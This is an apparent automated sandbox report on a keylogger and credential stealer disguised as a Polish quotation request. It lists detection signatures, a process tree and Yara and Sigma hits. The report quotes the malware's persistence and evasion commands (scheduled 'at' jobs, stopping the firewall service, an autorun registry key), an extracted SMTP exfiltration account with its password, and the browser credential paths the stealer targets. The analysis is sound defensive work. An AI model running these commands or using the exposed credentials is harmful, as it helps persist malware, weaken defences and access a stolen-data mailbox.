Edit tour

Windows Analysis Report
ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Overview

General Information

Sample name:	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
Analysis ID:	1544451
MD5:	e9698d7f3a85335c8610cde2fecc54e8
SHA1:	fbc277222d6971e42acaf87975b7b565b9b63a9e
SHA256:	72292a987383f0079a0a846bae4ee6345f008f991a50f5f6d7fed2cad91339ad
Tags:	exeuser-MarekSmar14
Infos:

Detection

CryptOne, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected CryptOne packer

Found malware configuration

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Creates an undocumented autostart registry key

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file has a writeable .text section

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Interactive AT Job

Sigma detected: Suspect Svchost Activity

Sigma detected: System File Execution Location Anomaly

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates processes with suspicious names

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Common Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe (PID: 1436 cmdline: "C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe" MD5: E9698D7F3A85335C8610CDE2FECC54E8)

zapytanie ofertowe st-2024-s315 cpa9170385.exe (PID: 1088 cmdline: "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe " MD5: 6A6157CD22CD9558F8579C30632E62C1)

RegSvcs.exe (PID: 5568 cmdline: "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe " MD5: 9D352BC46709F0CB5EC974633A0C3C94)

icsys.icn.exe (PID: 1352 cmdline: C:\Users\user\AppData\Local\icsys.icn.exe MD5: 30957BE4D1D5957A9D6433367CEF30EF)

explorer.exe (PID: 2920 cmdline: c:\windows\system\explorer.exe MD5: 40D6074239B5794D42186340C0FB7B60)

spoolsv.exe (PID: 5356 cmdline: c:\windows\system\spoolsv.exe SE MD5: 654CCF32F8E2748995C732C707A09AC1)

svchost.exe (PID: 6984 cmdline: c:\windows\system\svchost.exe MD5: EA31FB96DC9A76CAEFA570341CD194E2)

spoolsv.exe (PID: 1988 cmdline: c:\windows\system\spoolsv.exe PR MD5: 654CCF32F8E2748995C732C707A09AC1)

at.exe (PID: 4500 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 1960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 4568 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 6580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 1160 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 5596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7124 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 432 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 4768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 1848 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 1436 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

at.exe (PID: 5884 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 4028 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 1276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7196 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7248 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7296 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7340 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7384 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7432 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7476 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7524 cmdline: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7532 cmdline: sc stop SharedAccess MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7540 cmdline: sc config Schedule start= auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7556 cmdline: sc start Schedule MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7892 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7948 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8000 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8048 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8084 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 8124 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 6488 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 3136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7176 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

at.exe (PID: 7264 cmdline: at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 2AE20048111861FA09B709D3CC551AD6)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 7804 cmdline: "C:\windows\system\explorer.exe" RO MD5: 40D6074239B5794D42186340C0FB7B60)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "spletnastran@tlakovec.si", "Password": "@nartsantelps", "Host": "mail.tlakovec.si", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "spletnastran@tlakovec.si", "Password": "@nartsantelps", "Host": "mail.tlakovec.si", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de00:$a1: get_encryptedPassword 0x2e10d:$a2: get_encryptedUsername 0x2dc1e:$a3: get_timePasswordChanged 0x2dd19:$a4: get_passwordField 0x2de16:$a5: set_encryptedPassword 0x2f511:$a7: get_logins 0x2f474:$a10: KeyLoggerEventArgs 0x2f0d9:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bbc0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b263:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b4c0:$a4: \Orbitum\User Data\Default\Login Data 0x3be9f:$a5: \Kometa\User Data\Default\Login Data
00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea5f:$s1: UnHook 0x2ea66:$s2: SetHook 0x2ea6e:$s3: CallNextHook 0x2ea7b:$s4: _hook
0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dc00:$a1: get_encryptedPassword 0x2df0d:$a2: get_encryptedUsername 0x2da1e:$a3: get_timePasswordChanged 0x2db19:$a4: get_passwordField 0x2dc16:$a5: set_encryptedPassword 0x2f311:$a7: get_logins 0x2f274:$a10: KeyLoggerEventArgs 0x2eed9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fbddb:$a1: get_encryptedPassword 0x1fc0de:$a2: get_encryptedUsername 0x1fbc03:$a3: get_timePasswordChanged 0x1fbcfe:$a4: get_passwordField 0x1fbdf1:$a5: set_encryptedPassword 0x1fe26c:$a7: get_logins 0x1fe1cf:$a10: KeyLoggerEventArgs 0x1fde38:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 5568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 5568	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RegSvcs.exe PID: 5568	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 5568	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x15dfc6:$a1: get_encryptedPassword 0x15e2c9:$a2: get_encryptedUsername 0x15ddee:$a3: get_timePasswordChanged 0x15dee9:$a4: get_passwordField 0x15dfdc:$a5: set_encryptedPassword 0x160457:$a7: get_logins 0x1603ba:$a10: KeyLoggerEventArgs 0x160023:$a11: KeyLoggerEventArgsEventHandler
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de00:$a1: get_encryptedPassword 0x2e10d:$a2: get_encryptedUsername 0x2dc1e:$a3: get_timePasswordChanged 0x2dd19:$a4: get_passwordField 0x2de16:$a5: set_encryptedPassword 0x2f511:$a7: get_logins 0x2f474:$a10: KeyLoggerEventArgs 0x2f0d9:$a11: KeyLoggerEventArgsEventHandler
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bbc0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b263:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b4c0:$a4: \Orbitum\User Data\Default\Login Data 0x3be9f:$a5: \Kometa\User Data\Default\Login Data
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea5f:$s1: UnHook 0x2ea66:$s2: SetHook 0x2ea6e:$s3: CallNextHook 0x2ea7b:$s4: _hook
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de00:$a1: get_encryptedPassword 0x2e10d:$a2: get_encryptedUsername 0x2dc1e:$a3: get_timePasswordChanged 0x2dd19:$a4: get_passwordField 0x2de16:$a5: set_encryptedPassword 0x2f511:$a7: get_logins 0x2f474:$a10: KeyLoggerEventArgs 0x2f0d9:$a11: KeyLoggerEventArgsEventHandler
10.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bbc0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b263:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b4c0:$a4: \Orbitum\User Data\Default\Login Data 0x3be9f:$a5: \Kometa\User Data\Default\Login Data
10.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea5f:$s1: UnHook 0x2ea66:$s2: SetHook 0x2ea6e:$s3: CallNextHook 0x2ea7b:$s4: _hook
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c000:$a1: get_encryptedPassword 0x2c30d:$a2: get_encryptedUsername 0x2be1e:$a3: get_timePasswordChanged 0x2bf19:$a4: get_passwordField 0x2c016:$a5: set_encryptedPassword 0x2d711:$a7: get_logins 0x2d674:$a10: KeyLoggerEventArgs 0x2d2d9:$a11: KeyLoggerEventArgsEventHandler
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39dc0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39463:$a3: \Google\Chrome\User Data\Default\Login Data 0x396c0:$a4: \Orbitum\User Data\Default\Login Data 0x3a09f:$a5: \Kometa\User Data\Default\Login Data
1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cc5f:$s1: UnHook 0x2cc66:$s2: SetHook 0x2cc6e:$s3: CallNextHook 0x2cc7b:$s4: _hook
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\icsys.icn.exe, ProcessId: 1352, TargetFilename: c:\windows\system\explorer.exe

Sigma detected: Interactive AT Job

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community: Data: Command: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, CommandLine: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\at.exe, NewProcessName: C:\Windows\SysWOW64\at.exe, OriginalFileName: C:\Windows\SysWOW64\at.exe, ParentCommandLine: c:\windows\system\svchost.exe, ParentImage: C:\Windows\System\svchost.exe, ParentProcessId: 6984, ParentProcessName: svchost.exe, ProcessCommandLine: at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, ProcessId: 4500, ProcessName: at.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: c:\windows\system\svchost.exe, CommandLine: c:\windows\system\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\svchost.exe, NewProcessName: C:\Windows\System\svchost.exe, OriginalFileName: C:\Windows\System\svchost.exe, ParentCommandLine: c:\windows\system\spoolsv.exe SE, ParentImage: C:\Windows\System\spoolsv.exe, ParentProcessId: 5356, ParentProcessName: spoolsv.exe, ProcessCommandLine: c:\windows\system\svchost.exe, ProcessId: 6984, ProcessName: svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: c:\windows\system\explorer.exe, CommandLine: c:\windows\system\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\explorer.exe, NewProcessName: C:\Windows\System\explorer.exe, OriginalFileName: C:\Windows\System\explorer.exe, ParentCommandLine: C:\Users\user\AppData\Local\icsys.icn.exe, ParentImage: C:\Users\user\AppData\Local\icsys.icn.exe, ParentProcessId: 1352, ParentProcessName: icsys.icn.exe, ProcessCommandLine: c:\windows\system\explorer.exe, ProcessId: 2920, ProcessName: explorer.exe

Sigma detected: Common Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name): Data: Details: C:\Users\user\AppData\Roaming\mrsys.exe MR, EventID: 13, EventType: SetValue, Image: C:\Windows\System\explorer.exe, ProcessId: 2920, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}\StubPath

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

